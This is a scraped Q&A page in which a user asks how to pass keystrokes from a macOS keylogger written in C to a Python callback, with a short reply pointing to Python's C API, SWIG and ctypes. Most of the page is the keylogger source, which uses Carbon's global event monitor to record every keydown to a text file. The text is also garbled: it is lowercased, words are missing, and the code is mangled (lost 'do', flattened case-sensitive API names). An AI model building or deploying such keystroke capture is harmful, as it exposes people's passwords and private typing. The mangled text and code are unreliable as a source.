Python and C interaction - callback function -


i'm trying make key logger mac os 1 of research projects. have c code grab keystroke , write them text file. (the following code have taken out not important stuff)

what need pyhook, instead of write data text file, pass python callback function c code , make passes key input python, can necessary analysis python.

i have how it, have no idea how approach this, not used c programming or python extensions. appreciated.

#include <carbon/carbon.h> #include <applicationservices/applicationservices.h> #include <unistd.h> #include <stdio.h> #include <sys/time.h>  #define num_recording_event_types 5 #define record 0 #define mouseaction 0 #define keystroke 1 // maximum expected line length, fgets #define line_length 80 #define kshowmouse true  osstatus ruirecordingeventoccurred(eventhandlercallref nexthandler, eventref theevent, void *userdata);  void preparetorecord(); // install event handler, wait record signal  // note keyboard character codes found in figure c2 of document // inside macintosh: text available http://developer.apple.com char * keystringforkeycode(int keycode); // representation of mac keycode  // global variables int dienow = 0;    // should program terminate int ifexit = 0;       // exit state  char *filename = null;  // log file name file *fd = null;   // log file descriptor  int typecount = 0;          // count keystroke periodically save txt file  struct timeval thetime;  // gettimeofday long currenttime;   // current time in milliseconds  int main() {     filename = "test.txt";     fd = fopen(filename, "a");      // rui ready record or play, based off of mode     preparetorecord();   return exit_success; }  // event handler rui recorder osstatus ruirecordingeventoccurred(eventhandlercallref nexthandler, eventref theevent, void *userdata) {  // determine class , kind of event     int eventclass = geteventclass(theevent);     int eventkind = geteventkind(theevent);      /* handle keyboard events */     if((eventclass == keventclasskeyboard) && (eventkind == keventrawkeydown)) /* key release implied */ {         int keycode, modifiers;  // did user press? modifier keys down?    // gather keystroke information         geteventparameter(theevent, keventparamkeycode, typeinteger, null, sizeof(keycode), null, &keycode);         geteventparameter(theevent, keventparamkeymodifiers, typeinteger, null, sizeof(modifiers), null, &modifiers);          // time it?         gettimeofday(&thetime, null);         currenttime =(((thetime.tv_sec*1000000) + (thetime.tv_usec)));    fprintf(fd, "%s\n", keystringforkeycode(keycode));      }       return exit_success; }   void preparetorecord() {  eventrecord event;  // holds event examination      // types of events listen     eventtypespec eventtypes[num_recording_event_types] = {{keventclasskeyboard, keventrawkeydown}};   // install event handler     installeventhandler(geteventmonitortarget(), neweventhandlerupp(ruirecordingeventoccurred), num_recording_event_types, eventtypes, nil, nil);      // event loop - events until die command  {         waitnextevent((everyevent),&event,getcarettime(),nil);  } while (dienow == 0); }   char * keystringforkeycode(int keycode) {  // return key char  switch (keycode) {   case 0: return("a");  default: return("empty"); // unknown key, return "empty"  } } 

it's easy - follow instructions - calling python functions c.

alternatively if trying call c/c++ functions python can use swig or 1 of python's module ctypes


Comments

Popular posts from this blog

c++ - Convert big endian to little endian when reading from a binary file -

C#: Application without a window or taskbar item (background app) that can still use Console.WriteLine() -

unicode - Are email addresses allowed to contain non-alphanumeric characters? -